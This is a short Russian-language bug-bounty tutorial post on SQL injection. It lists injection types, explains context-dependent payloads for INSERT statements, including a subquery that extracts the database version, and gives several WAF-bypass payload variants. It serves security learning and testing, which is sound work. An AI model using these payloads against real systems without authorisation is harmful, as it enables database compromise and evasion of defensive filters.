На сегодняшний день SQLi не так часто встречаются в багбаунти, но тут как никогда актуальна поговорка:
Все новое — это хорошо забытое старое
Инъекцию можно встретить в разных частях SQL-запроса: в операторах
SELECT/ORDER BY, UPDATE (внутри WHERE), DELETE и INSERT.🔥 Основные типы SQLi:
▪️Union-based, error-based
▪️Blind: boolean-based, time-based
▪️Out-of-Band SQLi через DNS/HTTP коллбэки
▪️Second-Order SQLi
Многие начинающие багхантеры используют стандартный пэйлоад "
x' OR 1=1 -- -" везде, но это работает не всегда. Особенно проблематично с INSERT запросами:INSERT INTO users (username, email, password)
VALUES ('x' or 1=1 -- -', 'test@example.com', 'hash');
❌Этот пэйлоад может сломать синтаксис и нарушить структуру запроса.
✅Используй контекстно-зависимый пэйлоад:
▪️"
x'||'y" — для конкатенации строк▪️"
x', (SELECT ...), 'y')-- -" — для корректного закрытия VALUES🗡 Пример результата:
INSERT INTO users (username, email, password)
VALUES ('x', (SELECT version()), 'y')-- -', 'test@example.com', 'hash');
🛡 Примеры для обхода современных WAF
1. Замена пробелов комментариями:
'/**/OR/**/1=1--/**/-
2. Использование переносов строк:
'OR%0A1=1--%0A-
3. Скобки для изменения паттерна:
'OR(1=1)-- -
4. Смешивание регистра:
'oR 1=1-- -
'Or 1=1-- -
'OR 1=1-- -
